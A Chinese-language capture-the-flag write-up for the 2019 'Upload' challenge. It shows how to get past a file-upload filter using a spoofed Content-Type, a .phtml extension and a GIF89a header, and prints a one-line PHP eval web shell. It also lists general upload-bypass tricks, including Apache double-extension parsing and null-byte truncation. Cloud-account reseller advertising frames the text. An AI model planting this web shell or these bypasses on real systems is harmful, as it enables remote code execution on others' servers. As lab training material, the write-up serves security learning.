[极客大挑战 2019]Upload

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

目录

解题步骤

常见的绕过思路


解题步骤

直接上传shell

回显Not image!

bp抓包

修改类型

Content-Type: application/octet-stream改为Content-Type: image/jpg

回显NOTphp!

修改后缀为phtml

回显NO! HACKER! your file included '<?'

修改过滤的<?此处用到常见的代替绕过代码

GIF89a
<script language="php">eval($_REQUEST['coleak'])</script>

上传成功的数据为

 回显为上传文件名: coleak2.phtml并没有给出文件的具体位置

尝试下发现在/upload/coleak2.phtml

连接蚁剑拿到flag

常见的绕过思路

  • 先把上传的文件改名为shell.jpgbp抓包时再在filename处将.jpg改为.php.html等
  • burpsuite抓包更改Content-Type由application/octet-stream改为image/jpg
  • 构造图片马上传
  • 错误扩展名

原理当浏览器将文件提交到服务器端的时候服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测如果上传的文件扩展名不符合黑白名单的限制则不予上传否则上传成功。

将一句话木马的文件名 shell.php改成shell.php.abc。首先服务器验证文件扩展名的时候验证的是.abc只要该扩展名符合服务器端黑白名单规则即可上传。另外当在浏览器端访问该文件时Apache如果解析不了.abc扩展名会向前寻找可解析的扩展名即.php。一句话木马可以被解析apache解析文件名从后往前解析。

  • 00截断上传
  • php版本小于5.3.29
  • magic_quotes_gpc = Off
阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6